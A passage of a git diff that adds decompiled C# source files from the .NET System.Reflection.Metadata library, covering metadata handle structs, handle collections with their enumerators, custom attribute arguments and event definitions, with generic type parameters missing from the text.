_lastRowId = reader.CustomAttributeTable.NumberOfRows; + } + + internal CustomAttributeHandleCollection(MetadataReader reader, EntityHandle handle) + { + _reader = reader; + reader.CustomAttributeTable.GetAttributeRange(handle, out _firstRowId, out _lastRowId); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeNamedArgument.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeNamedArgument.cs new file mode 100644 index 0000000..90075e3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeNamedArgument.cs @@ -0,0 +1,20 @@ +namespace System.Reflection.Metadata; + +public readonly struct CustomAttributeNamedArgument +{ + public string? Name { get; } + + public CustomAttributeNamedArgumentKind Kind { get; } + + public TType Type { get; } + + public object? Value { get; } + + public CustomAttributeNamedArgument(string? name, CustomAttributeNamedArgumentKind kind, TType type, object? value) + { + Name = name; + Kind = kind; + Type = type; + Value = value; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeNamedArgumentKind.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeNamedArgumentKind.cs new file mode 100644 index 0000000..f14e5b9 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeNamedArgumentKind.cs @@ -0,0 +1,7 @@ +namespace System.Reflection.Metadata; + +public enum CustomAttributeNamedArgumentKind : byte +{ + Field = 83, + Property +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeTypedArgument.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeTypedArgument.cs new file mode 100644 index 0000000..e4a8ee3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeTypedArgument.cs @@ -0,0 +1,14 @@ +namespace System.Reflection.Metadata; + +public readonly struct CustomAttributeTypedArgument +{ + public TType Type { get; } + + public object? Value { get; } + + public CustomAttributeTypedArgument(TType type, object? value) + { + Type = type; + Value = value; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeValue.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeValue.cs new file mode 100644 index 0000000..d6b3c11 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomAttributeValue.cs @@ -0,0 +1,20 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata; + +public readonly struct CustomAttributeValue +{ + public ImmutableArray> FixedArguments { get; } + + public ImmutableArray> NamedArguments { get; } + + public CustomAttributeValue(ImmutableArray> fixedArguments, ImmutableArray> namedArguments) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + FixedArguments = fixedArguments; + NamedArguments = namedArguments; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomDebugInformation.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomDebugInformation.cs new file mode 100644 index 0000000..4c7b32b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomDebugInformation.cs @@ -0,0 +1,22 @@ +namespace System.Reflection.Metadata; + +public readonly struct CustomDebugInformation +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private CustomDebugInformationHandle Handle => CustomDebugInformationHandle.FromRowId(_rowId); + + public EntityHandle Parent => _reader.CustomDebugInformationTable.GetParent(Handle); + + public GuidHandle Kind => _reader.CustomDebugInformationTable.GetKind(Handle); + + public BlobHandle Value => _reader.CustomDebugInformationTable.GetValue(Handle); + + internal CustomDebugInformation(MetadataReader reader, CustomDebugInformationHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomDebugInformationHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomDebugInformationHandle.cs new file mode 100644 index 0000000..a98a2f3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomDebugInformationHandle.cs @@ -0,0 +1,84 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata; + +public readonly struct CustomDebugInformationHandle : IEquatable +{ + private const uint tokenType = 922746880u; + + private const byte tokenTypeSmall = 55; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private CustomDebugInformationHandle(int rowId) + { + _rowId = rowId; + } + + internal static CustomDebugInformationHandle FromRowId(int rowId) + { + return new CustomDebugInformationHandle(rowId); + } + + public static implicit operator Handle(CustomDebugInformationHandle handle) + { + return new Handle(55, handle._rowId); + } + + public static implicit operator EntityHandle(CustomDebugInformationHandle handle) + { + return new EntityHandle((uint)(0x37000000uL | (ulong)handle._rowId)); + } + + public static explicit operator CustomDebugInformationHandle(Handle handle) + { + if (handle.VType != 55) + { + Throw.InvalidCast(); + } + return new CustomDebugInformationHandle(handle.RowId); + } + + public static explicit operator CustomDebugInformationHandle(EntityHandle handle) + { + if (handle.VType != 922746880) + { + Throw.InvalidCast(); + } + return new CustomDebugInformationHandle(handle.RowId); + } + + public static bool operator ==(CustomDebugInformationHandle left, CustomDebugInformationHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is CustomDebugInformationHandle customDebugInformationHandle) + { + return customDebugInformationHandle._rowId == _rowId; + } + return false; + } + + public bool Equals(CustomDebugInformationHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(CustomDebugInformationHandle left, CustomDebugInformationHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomDebugInformationHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomDebugInformationHandleCollection.cs new file mode 100644 index 0000000..3f66c00 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/CustomDebugInformationHandleCollection.cs @@ -0,0 +1,85 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct CustomDebugInformationHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public CustomDebugInformationHandle Current => CustomDebugInformationHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _lastRowId = lastRowId; + _currentRowId = firstRowId - 1; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal CustomDebugInformationHandleCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + _lastRowId = reader.CustomDebugInformationTable.NumberOfRows; + } + + internal CustomDebugInformationHandleCollection(MetadataReader reader, EntityHandle handle) + { + _reader = reader; + reader.CustomDebugInformationTable.GetRange(handle, out _firstRowId, out _lastRowId); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DebugMetadataHeader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DebugMetadataHeader.cs new file mode 100644 index 0000000..b898ee1 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DebugMetadataHeader.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata; + +public sealed class DebugMetadataHeader +{ + public ImmutableArray Id { get; } + + public MethodDefinitionHandle EntryPoint { get; } + + public int IdStartOffset { get; } + + internal DebugMetadataHeader(ImmutableArray id, MethodDefinitionHandle entryPoint, int idStartOffset) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + Id = id; + EntryPoint = entryPoint; + IdStartOffset = idStartOffset; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DeclarativeSecurityAttribute.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DeclarativeSecurityAttribute.cs new file mode 100644 index 0000000..5b72eae --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DeclarativeSecurityAttribute.cs @@ -0,0 +1,20 @@ +namespace System.Reflection.Metadata; + +public readonly struct DeclarativeSecurityAttribute +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + public DeclarativeSecurityAction Action => _reader.DeclSecurityTable.GetAction(_rowId); + + public EntityHandle Parent => _reader.DeclSecurityTable.GetParent(_rowId); + + public BlobHandle PermissionSet => _reader.DeclSecurityTable.GetPermissionSet(_rowId); + + internal DeclarativeSecurityAttribute(MetadataReader reader, int rowId) + { + _reader = reader; + _rowId = rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DeclarativeSecurityAttributeHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DeclarativeSecurityAttributeHandle.cs new file mode 100644 index 0000000..68165b5 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DeclarativeSecurityAttributeHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct DeclarativeSecurityAttributeHandle : IEquatable +{ + private const uint tokenType = 234881024u; + + private const byte tokenTypeSmall = 14; + + private readonly int _rowId; + + public bool IsNil => _rowId == 0; + + internal int RowId => _rowId; + + private DeclarativeSecurityAttributeHandle(int rowId) + { + _rowId = rowId; + } + + internal static DeclarativeSecurityAttributeHandle FromRowId(int rowId) + { + return new DeclarativeSecurityAttributeHandle(rowId); + } + + public static implicit operator Handle(DeclarativeSecurityAttributeHandle handle) + { + return new Handle(14, handle._rowId); + } + + public static implicit operator EntityHandle(DeclarativeSecurityAttributeHandle handle) + { + return new EntityHandle((uint)(0xE000000uL | (ulong)handle._rowId)); + } + + public static explicit operator DeclarativeSecurityAttributeHandle(Handle handle) + { + if (handle.VType != 14) + { + Throw.InvalidCast(); + } + return new DeclarativeSecurityAttributeHandle(handle.RowId); + } + + public static explicit operator DeclarativeSecurityAttributeHandle(EntityHandle handle) + { + if (handle.VType != 234881024) + { + Throw.InvalidCast(); + } + return new DeclarativeSecurityAttributeHandle(handle.RowId); + } + + public static bool operator ==(DeclarativeSecurityAttributeHandle left, DeclarativeSecurityAttributeHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is DeclarativeSecurityAttributeHandle) + { + return ((DeclarativeSecurityAttributeHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(DeclarativeSecurityAttributeHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(DeclarativeSecurityAttributeHandle left, DeclarativeSecurityAttributeHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DeclarativeSecurityAttributeHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DeclarativeSecurityAttributeHandleCollection.cs new file mode 100644 index 0000000..baf7c93 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DeclarativeSecurityAttributeHandleCollection.cs @@ -0,0 +1,85 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct DeclarativeSecurityAttributeHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public DeclarativeSecurityAttributeHandle Current => DeclarativeSecurityAttributeHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal DeclarativeSecurityAttributeHandleCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + _lastRowId = reader.DeclSecurityTable.NumberOfRows; + } + + internal DeclarativeSecurityAttributeHandleCollection(MetadataReader reader, EntityHandle handle) + { + _reader = reader; + reader.DeclSecurityTable.GetAttributeRange(handle, out _firstRowId, out _lastRowId); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Document.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Document.cs new file mode 100644 index 0000000..5d995e2 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/Document.cs @@ -0,0 +1,24 @@ +namespace System.Reflection.Metadata; + +public readonly struct Document +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private DocumentHandle Handle => DocumentHandle.FromRowId(_rowId); + + public DocumentNameBlobHandle Name => _reader.DocumentTable.GetName(Handle); + + public GuidHandle Language => _reader.DocumentTable.GetLanguage(Handle); + + public GuidHandle HashAlgorithm => _reader.DocumentTable.GetHashAlgorithm(Handle); + + public BlobHandle Hash => _reader.DocumentTable.GetHash(Handle); + + internal Document(MetadataReader reader, DocumentHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DocumentHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DocumentHandle.cs new file mode 100644 index 0000000..970450a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DocumentHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct DocumentHandle : IEquatable +{ + private const uint tokenType = 805306368u; + + private const byte tokenTypeSmall = 48; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private DocumentHandle(int rowId) + { + _rowId = rowId; + } + + internal static DocumentHandle FromRowId(int rowId) + { + return new DocumentHandle(rowId); + } + + public static implicit operator Handle(DocumentHandle handle) + { + return new Handle(48, handle._rowId); + } + + public static implicit operator EntityHandle(DocumentHandle handle) + { + return new EntityHandle((uint)(0x30000000uL | (ulong)handle._rowId)); + } + + public static explicit operator DocumentHandle(Handle handle) + { + if (handle.VType != 48) + { + Throw.InvalidCast(); + } + return new DocumentHandle(handle.RowId); + } + + public static explicit operator DocumentHandle(EntityHandle handle) + { + if (handle.VType != 805306368) + { + Throw.InvalidCast(); + } + return new DocumentHandle(handle.RowId); + } + + public static bool operator ==(DocumentHandle left, DocumentHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is DocumentHandle documentHandle) + { + return documentHandle._rowId == _rowId; + } + return false; + } + + public bool Equals(DocumentHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(DocumentHandle left, DocumentHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DocumentHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DocumentHandleCollection.cs new file mode 100644 index 0000000..6cc13a0 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DocumentHandleCollection.cs @@ -0,0 +1,79 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct DocumentHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public DocumentHandle Current => DocumentHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _lastRowId = lastRowId; + _currentRowId = firstRowId - 1; + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal DocumentHandleCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + _lastRowId = reader.DocumentTable.NumberOfRows; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DocumentNameBlobHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DocumentNameBlobHandle.cs new file mode 100644 index 0000000..ed390c7 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/DocumentNameBlobHandle.cs @@ -0,0 +1,63 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata; + +public readonly struct DocumentNameBlobHandle : IEquatable +{ + private readonly int _heapOffset; + + public bool IsNil => _heapOffset == 0; + + private DocumentNameBlobHandle(int heapOffset) + { + _heapOffset = heapOffset; + } + + internal static DocumentNameBlobHandle FromOffset(int heapOffset) + { + return new DocumentNameBlobHandle(heapOffset); + } + + public static implicit operator BlobHandle(DocumentNameBlobHandle handle) + { + return BlobHandle.FromOffset(handle._heapOffset); + } + + public static explicit operator DocumentNameBlobHandle(BlobHandle handle) + { + if (handle.IsVirtual) + { + Throw.InvalidCast(); + } + return FromOffset(handle.GetHeapOffset()); + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is DocumentNameBlobHandle other) + { + return Equals(other); + } + return false; + } + + public bool Equals(DocumentNameBlobHandle other) + { + return _heapOffset == other._heapOffset; + } + + public override int GetHashCode() + { + return _heapOffset; + } + + public static bool operator ==(DocumentNameBlobHandle left, DocumentNameBlobHandle right) + { + return left.Equals(right); + } + + public static bool operator !=(DocumentNameBlobHandle left, DocumentNameBlobHandle right) + { + return !left.Equals(right); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EntityHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EntityHandle.cs new file mode 100644 index 0000000..b2cd9d7 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EntityHandle.cs @@ -0,0 +1,82 @@ +using System.Diagnostics.CodeAnalysis; + +namespace System.Reflection.Metadata; + +public readonly struct EntityHandle : IEquatable +{ + private readonly uint _vToken; + + public static readonly ModuleDefinitionHandle ModuleDefinition = new ModuleDefinitionHandle(1); + + public static readonly AssemblyDefinitionHandle AssemblyDefinition = new AssemblyDefinitionHandle(1); + + internal uint Type => _vToken & 0x7F000000; + + internal uint VType => _vToken & 0xFF000000u; + + internal bool IsVirtual => (_vToken & 0x80000000u) != 0; + + public bool IsNil => (_vToken & 0x80FFFFFFu) == 0; + + internal int RowId => (int)(_vToken & 0xFFFFFF); + + internal uint SpecificHandleValue => _vToken & 0x80FFFFFFu; + + public HandleKind Kind => (HandleKind)(Type >> 24); + + internal int Token => (int)_vToken; + + internal EntityHandle(uint vToken) + { + _vToken = vToken; + } + + public static implicit operator Handle(EntityHandle handle) + { + return Handle.FromVToken(handle._vToken); + } + + public static explicit operator EntityHandle(Handle handle) + { + if (handle.IsHeapHandle) + { + Throw.InvalidCast(); + } + return new EntityHandle(handle.EntityHandleValue); + } + + public override bool Equals([NotNullWhen(true)] object? obj) + { + if (obj is EntityHandle other) + { + return Equals(other); + } + return false; + } + + public bool Equals(EntityHandle other) + { + return _vToken == other._vToken; + } + + public override int GetHashCode() + { + return (int)_vToken; + } + + public static bool operator ==(EntityHandle left, EntityHandle right) + { + return left.Equals(right); + } + + public static bool operator !=(EntityHandle left, EntityHandle right) + { + return !left.Equals(right); + } + + internal static int Compare(EntityHandle left, EntityHandle right) + { + uint vToken = left._vToken; + return vToken.CompareTo(right._vToken); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventAccessors.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventAccessors.cs new file mode 100644 index 0000000..f4a313b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventAccessors.cs @@ -0,0 +1,32 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata; + +public readonly struct EventAccessors +{ + private readonly int _adderRowId; + + private readonly int _removerRowId; + + private readonly int _raiserRowId; + + private readonly ImmutableArray _others; + + public MethodDefinitionHandle Adder => MethodDefinitionHandle.FromRowId(_adderRowId); + + public MethodDefinitionHandle Remover => MethodDefinitionHandle.FromRowId(_removerRowId); + + public MethodDefinitionHandle Raiser => MethodDefinitionHandle.FromRowId(_raiserRowId); + + public ImmutableArray Others => _others; + + internal EventAccessors(int adderRowId, int removerRowId, int raiserRowId, ImmutableArray others) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + _adderRowId = adderRowId; + _removerRowId = removerRowId; + _raiserRowId = raiserRowId; + _others = others; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventDefinition.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventDefinition.cs new file mode 100644 index 0000000..b26fcbe --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventDefinition.cs @@ -0,0 +1,68 @@ +using System.Collections.Immutable; + +namespace System.Reflection.Metadata; + +public readonly struct EventDefinition +{ + private readonly MetadataReader _reader; + + private readonly int _rowId; + + private EventDefinitionHandle Handle => EventDefinitionHandle.FromRowId(_rowId); + + public StringHandle Name => _reader.EventTable.GetName(Handle); + + public EventAttributes Attributes => _reader.EventTable.GetFlags(Handle); + + public EntityHandle Type => _reader.EventTable.GetEventType(Handle); + + internal EventDefinition(MetadataReader reader, EventDefinitionHandle handle) + { + _reader = reader; + _rowId = handle.RowId; + } + + public CustomAttributeHandleCollection GetCustomAttributes() + { + return new CustomAttributeHandleCollection(_reader, Handle); + } + + public EventAccessors GetAccessors() + { + //IL_00fd: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + int adderRowId = 0; + int removerRowId = 0; + int raiserRowId = 0; + Builder val = null; + ushort methodCount; + int num = _reader.MethodSemanticsTable.FindSemanticMethodsForEvent(Handle, out methodCount); + for (ushort num2 = 0; num2 < methodCount; num2++) + { + int rowId = num + num2; + switch (_reader.MethodSemanticsTable.GetSemantics(rowId)) + { + case MethodSemanticsAttributes.Adder: + adderRowId = _reader.MethodSemanticsTable.GetMethod(rowId).RowId; + break; + case MethodSemanticsAttributes.Remover: + removerRowId = _reader.MethodSemanticsTable.GetMethod(rowId).RowId; + break; + case MethodSemanticsAttributes.Raiser: + raiserRowId = _reader.MethodSemanticsTable.GetMethod(rowId).RowId; + break; + case MethodSemanticsAttributes.Other: + if (val == null) + { + val = ImmutableArray.CreateBuilder(); + } + val.Add(_reader.MethodSemanticsTable.GetMethod(rowId)); + break; + } + } + ImmutableArray others = val?.ToImmutable() ?? ImmutableArray.Empty; + return new EventAccessors(adderRowId, removerRowId, raiserRowId, others); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventDefinitionHandle.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventDefinitionHandle.cs new file mode 100644 index 0000000..180f173 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventDefinitionHandle.cs @@ -0,0 +1,82 @@ +namespace System.Reflection.Metadata; + +public readonly struct EventDefinitionHandle : IEquatable +{ + private const uint tokenType = 335544320u; + + private const byte tokenTypeSmall = 20; + + private readonly int _rowId; + + public bool IsNil => RowId == 0; + + internal int RowId => _rowId; + + private EventDefinitionHandle(int rowId) + { + _rowId = rowId; + } + + internal static EventDefinitionHandle FromRowId(int rowId) + { + return new EventDefinitionHandle(rowId); + } + + public static implicit operator Handle(EventDefinitionHandle handle) + { + return new Handle(20, handle._rowId); + } + + public static implicit operator EntityHandle(EventDefinitionHandle handle) + { + return new EntityHandle((uint)(0x14000000uL | (ulong)handle._rowId)); + } + + public static explicit operator EventDefinitionHandle(Handle handle) + { + if (handle.VType != 20) + { + Throw.InvalidCast(); + } + return new EventDefinitionHandle(handle.RowId); + } + + public static explicit operator EventDefinitionHandle(EntityHandle handle) + { + if (handle.VType != 335544320) + { + Throw.InvalidCast(); + } + return new EventDefinitionHandle(handle.RowId); + } + + public static bool operator ==(EventDefinitionHandle left, EventDefinitionHandle right) + { + return left._rowId == right._rowId; + } + + public override bool Equals(object? obj) + { + if (obj is EventDefinitionHandle) + { + return ((EventDefinitionHandle)obj)._rowId == _rowId; + } + return false; + } + + public bool Equals(EventDefinitionHandle other) + { + return _rowId == other._rowId; + } + + public override int GetHashCode() + { + int rowId = _rowId; + return rowId.GetHashCode(); + } + + public static bool operator !=(EventDefinitionHandle left, EventDefinitionHandle right) + { + return left._rowId != right._rowId; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventDefinitionHandleCollection.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventDefinitionHandleCollection.cs new file mode 100644 index 0000000..67df4c3 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/EventDefinitionHandleCollection.cs @@ -0,0 +1,100 @@ +using System.Collections; +using System.Collections.Generic; + +namespace System.Reflection.Metadata; + +public readonly struct EventDefinitionHandleCollection : IReadOnlyCollection, IEnumerable, IEnumerable +{ + public struct Enumerator : IEnumerator, IDisposable, IEnumerator + { + private readonly MetadataReader _reader; + + private readonly int _lastRowId; + + private int _currentRowId; + + private const int EnumEnded = 16777216; + + public EventDefinitionHandle Current + { + get + { + if (_reader.UseEventPtrTable) + { + return GetCurrentEventIndirect(); + } + return EventDefinitionHandle.FromRowId((int)((long)_currentRowId & 0xFFFFFFL)); + } + } + + object IEnumerator.Current => Current; + + internal Enumerator(MetadataReader reader, int firstRowId, int lastRowId) + { + _reader = reader; + _currentRowId = firstRowId - 1; + _lastRowId = lastRowId; + } + + private EventDefinitionHandle GetCurrentEventIndirect() + { + return _reader.EventPtrTable.GetEventFor(_currentRowId & 0xFFFFFF); + } + + public bool MoveNext() + { + if (_currentRowId >= _lastRowId) + { + _currentRowId = 16777216; + return false; + } + _currentRowId++; + return true; + } + + void IEnumerator.Reset() + { + throw new NotSupportedException(); + } + + void IDisposable.Dispose() + { + } + } + + private readonly MetadataReader _reader; + + private readonly int _firstRowId; + + private readonly int _lastRowId; + + public int Count => _lastRowId - _firstRowId + 1; + + internal EventDefinitionHandleCollection(MetadataReader reader) + { + _reader = reader; + _firstRowId = 1; + _lastRowId = reader.EventTable.NumberOfRows; + } + + internal EventDefinitionHandleCollection(MetadataReader reader, TypeDefinitionHandle containingType) + { + _reader = reader; + reader.GetEventRange(containingType, out _firstRowId, out _lastRowId); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(_reader, _firstRowId, _lastRowId); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata/ExceptionRegion.cs 